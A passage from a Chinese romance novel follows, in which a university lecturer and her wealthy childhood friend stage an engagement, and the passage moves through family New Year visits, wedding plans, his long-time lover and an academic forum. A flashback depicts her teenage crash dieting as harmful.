只是现实与理想差距太大,有天赋且勤勉的人比比皆是,她碰壁的次数数不胜数,最后也不过成绩平平。演出台上,她永远是靠近角落的配角。
邱晓霜无数次思考自己比别人差在哪里。
与汪远泰的这段婚姻是她选择的捷径,也是她最终给出的答案。
资源与名利,邱晓霜完完全全的从汪远泰那里得到了,她觉得女人运用自己的一切筹码换取自己想要的东西是理所当然的事情,即便这东西是青春的身体。
没什么可惜的,也没什么可耻的,青春再醉人也不过供作观赏,不如让她发挥些实际价值。
昭玥礼貌谢过,接过那两张兑换票。
门票需要手机扫码绑定本人身份证,到时候刷身份证直接能进去。
汪泽顺手就把两张票拿到自己面前,把他和昭玥的身份证号分别输入。
“你居然记得我的身份证号码?”
“很难吗?”他头都没抬。
号码本身当然不难,不过是后面几位数的事儿,只是很多时候不在于难易,而是懒得去做。
昭玥木讷地望向汪泽握着手机的手,修长指节的根处,银色戒指闪过一道光圈。
有那么一个瞬间,她想不再去追究过往岁月里他荒诞过的一切。
汪远泰嘱咐汪泽好好招待昭玥,夫妻俩下午也约了朋友出门。
他们离开之后,昭玥默不作声将自己的手从汪泽的手里抽出,稍稍与之拉开一些距离。
午后的阳光从百叶窗的缝隙漏进来,保姆一丝不苟收拾餐桌,白抹布混上一滩油迹。
雨季过去了,最近北城多晴,只是阳光根本盖不过这座城市的凛冽寒风。
暖气明明很足,昭玥的手仍然很凉,她问保姆好几次窗是不是没关严实,得到的答案都是肯定的。
她跟汪泽嘟囔:“我这种冷骨头就不适合在北方生存。”
他默默起身将室内温度又调高些,转身回到座位后问昭玥:“你是不是特怀念在南城读书那几年?”
语气听上去漫不经心,像是闲聊时的随口一问。
但彼此心知肚明,那几年他们之间是有隔阂的。
从昭玥偷偷改志愿,连汪泽和周元辞也没告诉开始,隔阂就开始产生。
收到录取通知书那天,昭玥与汪泽爆发了从小到大以来唯一一次激烈的争吵,情绪上头时昭玥口不择言,说了句:“我做梦都想过一过没有你们这些人的人生。”
这话一出来,场面就陷入诡异的寂静,原本在一旁拉架的周元辞也噤了声,这句话太锋利,谁都做不到假装没听见。
“那你就去过一过没有我们的生活吧,祝你开心。”良久,汪泽撂下这句话,和周元辞一起走了。
昭玥永远记得,他当时的目光有多冷。
她想挣脱的到底是什么,她不知道他们能不能懂。
总而言之,那是他们长这么大唯一一段在彼此生命中完全空白的时光,就连后来他们出国留学住的都是一个社区,而那四年,他们不知道彼此交了什么朋友、每天做了什么事、是否遇到令人头疼的难题,又或是……喜欢上哪个人。
“怀念能怎么样?又回不去。”昭玥说。
“怀念什么?那里的气候?青春?还是某个人?”
“就不能都有?”
“苏昭玥,你这么讨厌这里的生活?”
昭玥沉默了会,她不想再像从前那次一样,说出什么刺伤人的话,她目光平静流转,说:“那四年对我来说和所有其他的日子都不同,你也知道,张女士控制欲那么强一人,竟然由着我胡闹了一次,我难得肆无忌惮体验了回青春,那时候既荒诞,也幼稚,但是,自由的感觉真棒啊。”
自由到没人管她吃垃圾食品,短短两个月胖了十斤,也没人管她和谁交朋友,更没人干涉她的一颗心为除了汪泽之外的人动荡,她第一次尝试去爱一爱别人。
“自由?”汪泽凝视着面前的人,“伸手指指想要的新款包就能拿下,舒适宽敞的房子、满墙的绝版黑胶,这些都不算自由吗?”
手覆在刚刚被保姆搬到身边来的移动油汀上,她终于有了点热气。
“当然算,但品种不同。”
“这还分品种?”
“你就当我矫情吧。”
“苏昭玥,你有个缺点。”
“什么?”
“每当我不理解你的一些话或决定,你从不会试图让我明白‘为什么’,不是恶语中伤,就是胡乱搪塞。”
“你不也是?嘴里的话真真假假,不够坦诚。”
男人指间轻扣木质台面,眸中浅淡笑着:“那看来我们都要改改这个坏毛病,汪太太。”
“谁是你太太?”
他眼中情意亦真亦假:“快是了。”
-
自从汪泽在所有人面前承认他们的关系,昭玥就没有回过苏家,张女士竟一个电话都没打过来烦她,她这位控制欲爆棚的妈妈仿似忽然懂得了“界限”二字。
反倒是苏伊文,发过几次微信问她什么时候回家吃饭,昭玥搪塞说等有空。
再回家已经是大年三十的下午,这期间汪泽提过几次来拜访一下苏家父母,昭玥总说再等等,等什么呢?她自己也不知道。
于是一直拖到今日也没正式登门。
客厅的窗上已经贴好了爷爷写的福字,昭玥将车停进院子,后备箱买了一堆东西,许久没回家,总觉得要带上些礼物才行。
苏伊文叫了声“姐”,便开始帮忙搬东西。
张女士情绪平淡,脸上甚至有浅淡笑意,“玥玥回来了?”
弄得昭玥起鸡皮疙瘩,但她没说什么,从汪泽说要娶她开始,她大概就已经被父母视作拨出去的一盆水,只不过这盆水泼在了权贵之家,他们需得对她客气些,以免惹未来女婿不快。
“给你们带了新年礼物,妈妈。”
“还是闺女体贴。”
苏伊文故作吃醋:“妈妈就是偏心。”
苏孝友在
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一旁笑看,依旧没说话。
场面一团融洽,昭玥觉得这样虚伪的融洽也挺好,相较之下,她更不喜欢与张女士争执。
十八岁之后她与母亲的争执实在够多,倒是从未想过,一段婚姻可以就此叫停他们的争吵。
当晚,昭玥在家吃了有史以来最消停的一顿年夜饭。
饭后,张女士憋了一晚上,终于提及了她与汪泽的事儿。
“玥玥,妈妈不是催你,我看你手上戒指已经戴上了,打算什么时候带阿泽正式登门见爸爸妈妈?过完年你都二十七岁了,可以不立刻结婚,但总要先订婚吧?阿泽和你一起长大,知根知底的,家里条件那么好,还这么爱护你,你一定要把握住。”
昭玥盯着张女士苦口婆心的一张脸:“知道了,妈妈。”
在张女士眼中,女孩子最好的出路是嫁一个比自身家族更优越的男人。
为此,张女士从小培养昭玥——各类兴趣班、保持身材、训练体态,她不是养女儿,而是为别人培养好太太。
只是不知,这样的张女士,当初在得知女儿偷偷将志愿改掉之后为何会在父亲面前帮她说话,给了她四年的绝对自由。
昭玥从不问张女士这个问题。
或许是一时心软,于是给了这只笼养多年的鸟雀片刻高飞的机会,但高飞不可能成为她人生的主旨,于是四年之后,她腿上的绳索被重新连接,昭玥觉得张女士唯一一次的心软也透着残忍。
见识过不同世界的鸟,会不甘活在笼子里。
之后接了长辈们给的红包,昭玥便说困回了自己的房间,苏家没有非得守岁的规矩。
房间里是她喜欢的香薰味,牛奶绒四件套透着阳光的气味,知道她对气味敏感,在她回来之前家里阿姨总是会提前准备。
微信消息已经堆积到“99+”,大部分是流水线式的新年祝福,昭玥也群发了条“新年快乐”。
越长大,对于过年的热情就越消退,这种感觉很奇怪,明明窗外万家灯火,楼下是家人团聚,而她心中却静谧一片。
是她太薄凉了吗?
手机响了一下,是微信提示音。
汪泽在三人群聊里发了个专属昭玥的红包,封面写“压岁钱”。
周元辞发了串省略号。
大元宝:「你就不能私发给她?@wz」
wz:「提醒你也该发红包了。」
大元宝:「到底是未来的一家人,合伙排挤我是吧?」
后面跟了个咬牙切齿的表情包。
于是昭玥发了个专属周元辞的红包,封面写「闭嘴」。
大元宝:「谢谢昭玥姐姐~」
变脸宛如翻书。
Yuee:「呕吐.jpg」
wz:「呕吐.jpg」
之后昭玥睡了一觉,快要零点时醒来,踩点在群里发了“新年快乐”。
下一秒,汪泽的电话打过来。
接起后,沉静的听筒里,他亲口回复她的那条消息。
“昭玥,新年快乐。”
说来有点浪漫,他们五岁就认识,而这是汪泽亲口对她说的第二十二个“新年快乐”,他们做朋友的这些年里,包括她在南城的那几年,这句“新年快乐”,他从没有一次缺席。
友谊果真地久天长,昭玥想。
9. 入戏
大年初一早上八点,昭玥还一团睡意,张女士就推开她的房门,催促她起床:“阿泽都来拜年了。”
听到这句话,昏沉睡意一扫而空,昭玥猛地睁开眼。
他可没知会自己今天过来。
昭玥仓促地洗漱换衣服,长直发梳顺垂在肩后,抹了点口红就下楼去。深灰色毛衣袖口是勾着亮片织的,跑出房门时不慎挂到门把手上,新衣服就此拖出一根长长的线头。
客厅坐着好几位客人,除了汪泽,都是些亲戚,来拜年的。
远远就见汪泽背挺得笔直,端坐在沙发中间。他大衣里面穿了件藏青色羊绒开衫,领口白T打底,近视度数那么浅的一个人,今日却破天荒戴上一副银框眼镜,惹得长辈们连连称赞他成熟稳重不少。
昭玥肺腑这个人心思深。
张女士和苏孝友似乎全然忘记了冬至那天汪泽的无礼,那日他说话一点面子都没给他们留,今日张女士却已然能做到热情相迎。
袖口那根长线头被昭玥攒成一团握在手心,脚刚从台阶上踏下来,人就已经被苏伊文推到汪泽身边去。
她撞到他的手臂,他将她扶稳,薄薄的镜片里,灰褐色瞳孔倒映出昭玥面无表情的脸。
长辈们只以为她是害羞,于是秉持“给年轻人空间”的原则,张女士让昭玥带汪泽去书房,那里安静。
她趿拉着棉拖鞋往书房的方向走,速度不快,汪泽跟在她身后。
伸手推门的时候她手心里的那根线掉落,昭玥却没意识到,正欲往里走,一道不大的力量牵扯住她。
汪泽拽住了那根毛线。
昭玥这才回过头来看他:“干什么?”
“生气了?”
昭玥不说话。
汪泽将线头一圈圈缠绕,捏在指间,距离也越靠越近,“这也不能怪我,你总是一拖再拖,我只好帮你快刀斩乱麻,反正结果总归是一样的。”
他说的是今日没有提前告知就来见她父母,还带了节礼。
昭玥往后了一步,袖子的缺口又大一圈,“你有什么好着急的?晚一天结婚你不就能多一天鬼混的时间?”
“你还挺会替我着想。”
“所以你到底急什么?”该急的不该是她吗?
汪泽继续将多出来的线头往手指上缠,“怕你头脑不清楚临时反悔,万一又掉进什么坑里,我岂不是白白牺牲这么多?”
“在你眼里,我是什么白痴人物吗?”
他淡淡一句:“白痴的事,你又不是没干过。”
叫昭玥吃瘪。
“别老提陈年旧事。”她又要往后退。
汪泽拉住她手臂:“苏昭玥,再退你就要光着手膀子出去了。”
瞧见毛线确实在一圈圈脱节,她这才一动不动,然后把他手里的线夺回到自己手里。
“所以你跟我爸妈怎么说的?”昭玥问。
“他们问我们打算什么时候订婚。”
“你怎么说?”
他露出一种恶作剧得逞的笑容:“我说,我跟你感情太深,一天都等不及,打算直接结婚。”
昭玥几乎怀疑自己听错:“你说什么?”
他一副一不做二不休的样子:“并且我告诉他们可以开始准备婚礼的事儿了,不出意外的话,三个月后,苏昭玥,你就会成为汪太太。”
见她满眼不可置信,汪泽:“从你同意戴上戒指的时候不就已经注定会这么发展了?现在怎么又别扭起来了?”
说实话,后来她想了想,觉得那天仓促地戴上这枚戒指其实不够理智。
但是昭玥本以为这会是个很漫长的过程:双方父母见面——谈妥两人结婚的所有事宜——订婚——筹备婚礼——结婚,如若这中间有任意一个环节出现纰漏,这段虚假的深情戏码随时也可以结束,他们完全有后悔的机会。
又或是他们俩假装吵一架,本来嘛,她的目的就是摆脱陆淋屿,她也不至于自私到牺牲汪泽的婚姻,毕竟他肯帮她已经够有义气。
可是现在,事情似乎脱轨了。
昭玥烦躁地伸手摘掉对面男人鼻梁上的眼镜,这两片薄薄的玻璃叫她更加看不清他的眼睛。
“汪泽,我知道你从小到大习惯了照顾与迁就我,但你真的想清楚了吗?这可是婚姻,我们这样的家庭,结婚后再离婚可不是件轻而易举的事。”
“没人能逼我做我不愿意的事儿,同样的,也没人能逼你做你不愿意的事儿,包括我。”
昭玥的心像是手心里的那团毛线一般凌乱,她将他的眼镜胡乱扔在书桌上,心烦意乱的时候她专爱拿东西撒气。
书房墙壁上明明挂着“风水宝地”几个字,昭玥却觉得这地方与她犯冲,每次都要在这里处理这类事情,上次是陆淋屿,这次是汪泽。
“如果扔眼镜不够出气,扔我也可以。”他笑得蔫坏。
昭玥终于没忍住,伸出腿朝着汪泽的小腿踢了一脚。
这次他没躲。
“我明明是在做好人好事。”
“你好心到让我怀疑你图谋不轨。”
“有什么不轨的?顶多是图你这个人呗。”
“怎么,汪少爷难道暗恋我?”
他的手越过她去拿桌面上的眼镜,过程中一张脸钟摆一般向她倾倒了一瞬,昭玥又闻到他身上那股夏露的味道。
“是的话你也不吃亏。”他在她耳边说。
昭玥最讨厌他这副不正经的模样,这让她觉得自己在他眼中和其他所有与他调情的女孩别无二致。
她希望自己在他眼中起码能特殊一点。
昭玥用力转了一下面前桌上的地球仪,轴柱有些松动,发出哗啦啦的噪音。
她背过身,“总而言之,汪泽,希望你不会后悔。”
他令地球仪停止了转动。
“绝不后悔。”
-
两人就结婚的事情协商一致后两家长辈很快就正式相见了。
昭玥做梦似的,由着汪泽牵着自己,在长辈们面前表现成两情相悦。
未落座时,昭玥故意抬手,替汪泽整理了一下领带,他懒散的面带笑意望向她,像是看一个终于懂得伪装的小孩。
她偷偷瞪他。
何秋琼女士是体面人,虽然心中仍然不满,但这次没有像上次那样给昭玥摆脸色,全程和颜悦色,高门里的人,做到维持表面这点美好是起码的修养。
两家人一直在聊关于两人结婚的一些细枝末节的事儿,起初昭玥还心无旁骛的听一听,后来不知不觉
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走神,盯着亚麻桌布发呆。
她再一次借口去卫生间,实则出去透气。
窗外遥远的霓虹车流叫人心安片刻。
昭玥总有种脚踩不着地的不踏实感,她怎么就坐在这里、听着家人们计划起她与汪泽的婚事了呢?起码直到大学毕业之前,昭玥还天真的觉得自己若是结婚只会是因为与另一人相爱。
显然,汪泽才不爱她。
青春里的一些荒诞片段在这个夜晚无声闪回,起码在感情上,她从不容许自己做一个冥顽不灵的傻子,所以在那念念不忘的四年中,她专心致志的去喜欢过别人。
汪泽口中那件“白痴干的事儿”就是因为她的初恋。
大四毕业典礼之前,昭玥特地回家偷了户口本,为了跟那个人结婚。
结果自然是痴情错付,那人的人生计划里根本从来没有她,又或者说,他眼中前程远比她重要。
“在想什么?”汪泽不知什么时候站到了她身边。
“在想大四那年,他如果不是个虚情假意的人,现在会是什么样。”
汪泽嗤笑出声:“幸亏他虚情假意。”
“你能不能盼我点好?”
“谁让你总交些又穷又没品的男友。”
“那你还总交些乱七八糟的女友呢。”
汪泽眯了眯眼:“苏昭玥,谁教你在未婚夫面前想初恋的?”
“怎么,你吃醋啊?”
他不理她的揶揄,手伸进口袋掏烟。
昭玥抢过他的打火机。
汪泽:“干什么?”
昭玥笑,打算亲自为他将烟点燃:“哄哄我不开心的未婚夫呗。”
昭玥不太会使这枚打火机,摆弄半天也没擦出火星子,汪泽握着她的手教她怎么使。第一次发现,他的手掌比她大了这么多,几乎能完完全全的将她包裹住。
她仍然不习惯他温热的掌心。
牵手是情侣会做的事,他们做了太多年朋友。
火焰迸发的那个片刻有种永恒的意味,汪泽就这么垂着眸,居高临下地睨视她。
烟雾在两人之间飘散,像是渐渐清明的心绪。
“你问我会不会后悔,那你呢,昭玥,你会后悔吗?”
昭玥将打火机塞回汪泽的口袋:“反正与你做朋友是我最不后悔的事,做夫妻的话……看你表现咯。”
他吐出一口烟圈:“看来我要好好表现了。”
“得了吧,我还不知道你,江山易改本性难移,你不出去拈花惹草就不是汪泽了,总归是假夫妻,所以你在外面玩你的,我绝不多嘴。”
“你对你初恋也这么大度吗?”
“没事扯他干什么?你们又不一样。”
“哪里不一样?”
她又想敷衍了事:“你比他帅。”
说完就要回包厢。
汪泽将人拽回去,“满分答案应该是:‘一个是过往云烟,一个是往后余生’。”
“谁跟你往后余生?”
“骗一骗我都不愿意?”
昭玥觉得他过于入戏,好心提醒他:“汪泽,你小心出不了戏。”
他笑笑,松开她,将烟灰弹到窗外。
真心话混着玩笑话一起,同灰尘一道散去。
10. 空空
晚上结束后,汪泽送昭玥回公寓。
路过明月街时有点堵车,昭玥将副驾的窗打开透气,人声鼎沸的街市尚且残留一些年味。
她喜欢看烟熏火燎的小摊上满满当当的人群,虽然她不喜欢味道太重的食物,但是可以接受烧烤的浓烟,只是据说这东西致癌。
车流一动不动,根源是一位没有公德的车主将车停在了路中间,驾驶台上的电话也打不通,后面的人只好报警,拖车正在路上。
一片喇叭声。
昭玥有些困倦,头歪靠在门框上,路灯的光被眉骨遮挡,她的睫毛一闪一闪,像只无力扇翅的蝴蝶。
他们谁也没有打破沉默,这个漫长的夜晚,应付长辈、装作不渝相爱,足够累了。
后来寒风吹散了一些困意。
昭玥放了首流行乐来听。
薛凯琪的嗓音有股故事感,她唱的那首《苏州河》有句歌词一直很戳中昭玥——「爱只是爱,伟大的爱情到头来也只是爱。」
完美诠释了她为什么从不打算将自己的心里话说给汪泽听。
他们之间的情义爱情承载不了,情爱太单薄,他于她而言是深重到不敢触碰的珍爱。
和浪子谈恋爱,不如和浪子做朋友长久。
况且在他们的世界里,可以肆无忌惮诉诸于口的喜欢没有难以诉说的深重。爱情太易碎,其实他们谁也无法任由彼此消失在自己的生命中。
因为太珍惜,所以干脆不立贪念。
这样,他们起码可以一直安安全全的待在对方身边。
汪泽将音量调高了一些。
他们的音乐品味向来接近。
车流终于往前动,明月街渐渐消失在视野中。
循环播放的歌曲被汪泽的手机铃声打断,他的手机自动连接了车上的蓝牙。
“白浣”这个名字就这么出现在中控屏幕上。
几秒之后,汪泽按下了拒接键。
就像上次看见白浣的短信一样,这次昭玥同样什么也没问。
这世上没有人比昭玥更懂汪泽,他没有拉黑这个女人的号码,就证明他们的游戏还没结束。
如果结束了他会比任何人都无情,就像上次咖啡店遇见朱然时,他几乎拿人当空气。
通常他的游戏不会超过三个月,结束后会给女孩子一笔丰厚的“分手费”,而他与白浣的这场游戏竟然跨越八年之久,几乎占据了三分之一的人生。
他这样的人和一个人藕断丝连这么多年,是否是因为有一点真情在呢?昭玥不敢问。
《苏州河》继续唱了下去。
漂泊的渔火、破掉的泡沫,听得人心中泛酸。
下车之前,昭玥跟汪泽说:“如果有人因为我们的事伤心,你可以将真相告诉她,只要她能保守这个秘密。”
说完昭玥便准备下车。
他却一键将车门落锁。
她不解回头:“干嘛?”
“别人伤心不关我的事,更不关你的事。”
昭玥没好气:“那你就当是我多管闲事好了,解锁,让我下去。”
他不知从哪变出一份打包好的抹茶小方塞给她:“气性真大,得了,知道我们苏大小姐善解人意,我会看着办的。看你晚上都没怎么动筷子,我让人打包了一份甜品,饿的时候吃吧。”
车门的锁随即解开。
昭玥却坐在那儿,一直没接他递来的东西。
她忽然跟他说:“汪泽,我能跟你约定一件事吗?”
“说。”
“无论在外面怎么玩,我们都不要让彼此听到看到,好吗?我不怎么喜欢演宽容大方的太太。”
他将甜品强硬的塞给她:“巧了,我也不喜欢你假装宽容大方。”
算是答应了。
“这么晚吃甜品会胖死吧。”昭玥下车,站在车边犹豫地盯着手中的食物。
汪泽斜眼瞧着车窗外的昭玥:“那就恳请苏大小姐给我一个喂猪的机会了。”
在昭玥生气之前,汪泽一脚油门消失在她的视线。
徒留一阵吹起她衣摆的风。
昭玥将甜品放进了冰箱,作为一个青春期时的微胖选手,必得捍卫这点保持身材的自觉。
事实上,不仅别人无法直抵灵魂来爱你,其实自己也不行。
饿得实在难忍的时候,昭玥拿出冰箱里的瓶装水往嘴里灌,直到饥饿感被痛感替代。
太饿的时候胃就会疼,这是她从第一次尝试减肥时就有的毛病。
虽然方式有点畸形,但高二到高三的那年暑假她的确凭借少吃,如同一个瘪掉的气球,一米六八的个子,从一百二十五斤瘦到了九十斤。
只是随之而来的是体质变差,很长一段时间昭玥总是生病,那年学校的运动会她甚至低血糖晕倒,她从前可是个体格强悍的人,别说晕倒了,淋雨吹空调都不带头疼一下的。
也是那次,昭玥出尽了风头。
汪泽放弃了他们班的五十米接力,从赛道上跑下来背着她从操场飞奔到医务室。
被他放在医务室的窄床上时,昭玥恢复一丝迷蒙的意识。
她感受到他一滴因飞奔而流下的汗珠滴在她浅蓝色校衫的胸口,然后就又昏睡过去。
醒来之后汪泽坐在床边的高脚凳上,松了一口气,很认真地问她:“苏昭玥,干嘛非要瘦?”
“好看呗。”
“审美是多元的。”
昭玥躺在床上虚弱地白汪泽一眼:“和你玩游戏的那些女生,哪个超过一百斤了?”
他一时无语。
但从那天开始,汪泽还是成为了她减肥路上的绊脚石。
城南那家精品蛋糕店的甜品,往后每天的晚自习之前都会出现在昭玥的课桌上。
最初昭玥会忍痛将甜品送给同学吃,被周元辞撞见跟汪泽告密之后,每天晚自习上课前他们俩就会捧着自己的晚饭来她班里找她。
美名其曰一起吃饭,实则是防止她继续节食。
一个月后,昭玥涨了八斤。
也是那段时间,学校里居然开始传她与汪泽的绯闻。
幸好汪泽从来不是什么纯情人设,绯闻没传多久他就结识了艺术班的班花。
后来昭玥保持身材的方式舒缓很多,她尝试运动、合理搭配饮食,再也没胖过。就是胃偶尔会痛,像是身体给这段记忆留下的印戳。
昭玥最终还是把甜品拿出来吃掉了半块。
绵密的口感不比城南那家店做得差,但总归逊色。
时针指向十二点的时候,昭玥无端地想,不知后来汪泽有没有接通那个电话。
他的游戏会有结束的那一天吗?
胃渐渐不怎么痛了。
-
过完年开学后昭玥参加了一个学术论坛,举办地在静泊湾酒店,昭玥提前一个晚上入住这里。这次的活动主题为“聚焦大学英语教学改革”,来参加活动的人一半都是高校外语学院的教授或讲师,而主办方是一个私人基金会。
早上7:00,闹钟震动,昭玥逐渐清醒。
今天空气湿度大,玻璃窗上覆了一层雾气,手掌擦过,才望见窗外的天。
是个阴天。
昭玥换了身深色套装,底妆和眼妆都很淡,配饰选了块银色腕表,头发低盘,脚踩一双小皮鞋,跟不高。
活动8:30开始,她8:00出的门,早餐没去酒店的自助餐厅,囫囵吃了
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几口前一晚买的面包。
8:15,昭玥抵达这次活动的厅口签到,门口的工作人员问她要电子参会码,扫描之后昭玥领到了参会手册,以及一个活动纪念章、一瓶怡宝。
负责激活胸牌的工作人员是个身条纤细的女子,穿着酒店的制服。
对视的那一刻,她们都认出了彼此。
昭玥一刹了然了这次活动在这家酒店举办的原因。
这次提供资金支持的慈善基金会姓汪,而作为拉来合作对象的酒店员工,白浣自然是受益者。
昭玥一时怔愣,大学毕业之后她们就没再见过,不知白浣是什么时候开始来北城发展的。
“昭玥,好久不见。”白浣将胸牌递给她,莞尔浅笑的样子依旧动人。
昭玥回之一笑,伸手接胸牌,对方却没有立即松开。
她投去一个探寻的眼神。
白浣手指指厅内席位最前排,“他到了。”
女人之间的氛围就是这么玄妙,昭玥不需要真的看过去,白浣也不需要说清楚名字,只需用一个“他”字代替,彼此就全然明白谈论的是谁。
随后,白浣松开胸牌。
浅道一声谢,昭玥便进去了。她没有提前告诉汪泽她会来这次活动,现在也没有去最前排和汪泽打招呼,而只是坐在自己的位置。
她自有她的同伴。
与昭玥同行参加这次论坛的是一位系里的同事宋淼,更有渊源的是,宋淼还是昭玥读书时的直系师兄,他也是南城大学毕业的。
“昭玥,你猜我看见谁了。”宋淼刚进来就眉飞色舞地凑上来,她这位师兄不太直,而且八卦得很。
“白浣?”
“你俩已经在门口撞上过了?”
“嗯,她给我激活的胸牌。”
“没打起来?”
昭玥一个白眼:“师兄,你看热闹的兴致过于浓烈了。”
宋淼略微不好意思地坐下去:“不好意思,一时没忍住。”
昭玥无奈地摇摇头。
主持人调试话筒,活动正式开始了,简短的内容介绍之后第一位报告人上场,发言时长45分钟。
场内一片安静,只有偶尔的笔记书写声与空调出风口的低频风声。
白浣与其他两位酒店的工作人员站在大厅最右侧,昭玥坐在最左侧偏后,汪泽则坐在第一排中间。
在昭玥的视角,汪泽的后脑勺几乎没转动过,一直专注地盯着主屏幕,反倒是白浣,目光频频流连于他的方向。
两位报告人的发言结束后已经10:15,茶歇时间,主持人宣布休息20分钟,场内灯光亮了些。
会场外长廊两侧,茶歇布置在四张长条桌上。
昭玥不想动弹,宋淼热心肠的将她拉起来,说凡事都要松弛有度,搞学术也是如此。
一直到茶歇区,昭玥就这么任由他拉着。
刚出会场的门,昭玥就撞见了汪泽。
他本来正和其中一位上午发言过的教授聊些什么,意料之外的人却突然闯进他的视线。
汪泽没有立即和昭玥说话,因为他一动不动的视线正落在她被宋淼紧握的手腕上。
而目光由此及下,他发现她的手指今日竟空空如也。
昭玥挣脱宋淼,揉一揉自己发红的手腕,宋淼并没有太用力,是她自己太不吃劲。
白浣果真有职业风范,不知从哪变出一块冰毛巾递给昭玥。
然而她还没来得及向白浣道谢,汪泽就朝她们走过来,还剩两米不到的距离时,他长驱直入地问——
“苏昭玥,你的戒指呢?”随即脚步站定,男人一双眼目光灼灼。
而一旁白浣的表情宛如凝滞。
11. 愤恨
他问得太认真,昭玥下意识心虚地掩住自己的手。
她不动声色瞥了一眼身旁的白浣,后者却已然收回私人感情和目光,站回茶歇区为其他客人送上悉心服务。
昭玥有点看不懂白浣,像她这样冷艳出尘的女子,既不娇蛮,也不屑玩弄心机,任何人与之相处都能感觉如沐春风,她身上的美好好似是由内向外溢出来的,叫人想恨都恨不起来。
昭玥想到刚刚白浣看向汪泽的眼神,不由叹气,这样美好的人怎么就对汪泽这样酒池肉林的人动心了呢?和他谈爱,太可悲了。
可话说回来,她自己不也是吗?
“你没看见她吗?”
汪泽循着昭玥的视线回头瞅了眼:“看见了,怎么了?”
“既然是熟人,干嘛不打招呼?”
他一脸的无所谓:“习惯了。”
习惯。
习惯什么?是习惯将严肃的工作场合与荒诞的声色场合分开,还是习惯只在玩游戏的时候与白浣说话?除了耳鬓厮磨时的荒唐话,正经话一句都不说?
昭玥看向汪泽的眼神里多一丝愤恨。
“我又惹到你了?”
“没有。”昭玥自顾自去找东西吃。
汪泽跟过去,“所以你到底为什么不戴戒指?”
昭玥报仇一般:“因为挡桃花。”
不知是报谁的仇。
汪泽被气笑,“苏昭玥,你还真是学坏了。”
昭玥自顾自去拿了个袋装坚果吃,又去饮品区端了杯红茶,早上那块小面包着实不抗饿。
她坐在茶歇区旁的高脚凳子上吃东西,吃完后纸袋扔进可回收垃圾桶。
宋淼这位社交牛人,很快就跟别人热络地聊起来,并且不忘将昭玥引荐给这些人,于是顺其自然的,昭玥和几位同行交换了微信。
昭玥没再跟汪泽搭话,他一本正经与人交际的时候看上去倒是挺道貌岸然。虽然他私生活令她鄙夷,但不可否认,汪泽从小到大个人能力方面都很出众,属于那种不需点灯苦读就能考前三名的无人性学霸。
只是这个人表面上专注听人说话,竟还能抽空给昭玥发来一条微信。
内容只有两个字——「转身。」
昭玥看向他的方向,汪泽已经与旁边的人一同朝她的方向走过来,那是位中年男士,胸牌与他们的蓝底不同,他是红底的——只有特邀嘉宾戴这种胸牌。
昭玥和宋淼都立刻认出了这个人是谁。
省级教学指导委员会的主任,刘仕宁先生。
汪泽指了指她:“刘先生,这位是北城大学的老师,苏昭玥,也是我的未婚妻。”
闻言,昭玥十分有眼力见的展眸微笑,主动上前与刘先生握手打招呼,张女士从小的耳濡目染让她应对这种场合十分得心应手。
汪泽将她引荐给刘主任是有用意的,全省每年仅立项十个英语教改项目,教指委主任的个人倾向直接影响申报书的通过率,而评副教授职称的必要条件之一就是主持一项省级教改项目。
“你好啊,小苏。”
昭玥立刻接过话茬:“刘主任,您今天的发言让我们这些年轻教育从业者很受启发,我的同事还说回头要把您的发言文字稿整理出来放进收藏夹。”
只是当昭玥转头却发现,宋淼这个扶不上墙的,刚刚明明如鱼得水,现在见到真大佬却开始结结巴巴说不出话。
刘主任听到昭玥这么说爽朗一笑:“是嘛?那下次教指委的白皮书调研会,我让秘书给你们发邀请函。”
宋淼人都傻了。
当别人还在埋头挥动笔杆子记笔记,他却因为教指委主任的一句话拥有了将自己的名字写进省级教育政策制定的白皮书中的机会,虽然他只是个附赠品,但他还是第一次深刻见识到了人脉的作用。
反观身边的苏昭玥却看不出多激动,她大方的向刘主任道谢,仿佛她并非单纯的受益者,而只是在进行利益等价交换。
宋淼转念一想,她确实不是单纯的受益方,这位汪先生大抵会以别的方式进行利益置换,比如出资再办几场类似今日这种的论坛交流会。
宋淼想,权势真是个好东西。
茶歇时间结束了,回座位之前,昭玥听见刘主任问汪泽他们什么时候结婚,还说到时候要来吃他们的喜酒。
汪泽说快了,到时一定给他发请柬。
宋淼惊讶地问昭玥:“你要结婚了?”
又别过头看了眼另一个方向,白浣正引导大家回到座位。
不由感叹:“有钱人的世界可真复杂。”
“师兄,刚刚在刘主任面前你要是也这么能言会道就好了。”
宋淼立刻闭嘴。
汪泽又发来一条微信,问她:「要不要来前面坐?」
Yuee:「不要。」
wz:「中午一起吃饭?」
Yuee:「不吃。」
隔着人群,汪泽回头瞥她一眼。
昭玥故意不看他。
上午活动结束已经十二点,昭玥与宋淼以及几位新认识的年轻老师一起去酒店的自助餐厅用餐。
餐厅的清蒸鲈鱼很对大家胃口,很快就光盘。昭玥不爱吃鱼,觉得腥气,喝了两碗冬瓜排骨汤,吃了一些蔬菜,主食只吃半拳米饭。
中途独自去洗手间,出来时十分不巧再次遇到了白浣。
白浣正坐在过道的长凳上接听电话。
昭玥不是故意偷听,但是女孩子温柔的话语似水一般,轻而易举就流进了耳朵。
昭玥听见她跟电话对面的人说:“阿泽,谢谢你,今晚我陪你吃饭好吗?”
不知对面说了什么,白浣浅浅笑着。
昭玥脚步下意识一滞,但不过两秒脚步便继续向前。
把女孩子哄笑,是汪泽最擅长的事。
洗过手没完全擦干,手心带一些湿意,昭玥在空中用力甩了几下,随后伸手去包里掏护手霜,却发现她包里根本没装。
洗完手不涂护手霜令昭玥感到难受。
正这么想着,一支10ml小包装的欧舒丹护手霜便被递到她面前。小小一支,十分方便装在酒店制服的口袋里。
这只手今日似乎一直在给她递东西。
从胸牌,到冰毛巾,再到护手霜。
昭玥望向白浣,却发现她的电话还没挂断。
她一边给昭玥递东西,一边告诉电话对面的人:“我临时有点事,先挂了。”
故意不提遇到昭玥,她们心照不宣的避免着什么。
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白浣脸上又挂上礼节性微笑,“这里的饭菜合胃口吗?”
“还不错。”
“那就好,”白浣停顿一下,“昭玥,有件事想问你。”
“你说。”
昭玥打开护手霜涂抹,浓烈的玫瑰味,有时候昭玥在办公室涂这款,所有进来找她的人都会问她放了什么牌子的香薰在办公室。
“今天听他跟别人介绍你,说你是他的未婚妻,这是……真的吗?”
昭玥拧紧护手霜的盖子,抬眼睨她一眼,“怎么不直接问他?”
他们刚刚不是在通电话吗?
白浣苦笑了一下:“你知道的,他边界感很重,很多话我不好问。”
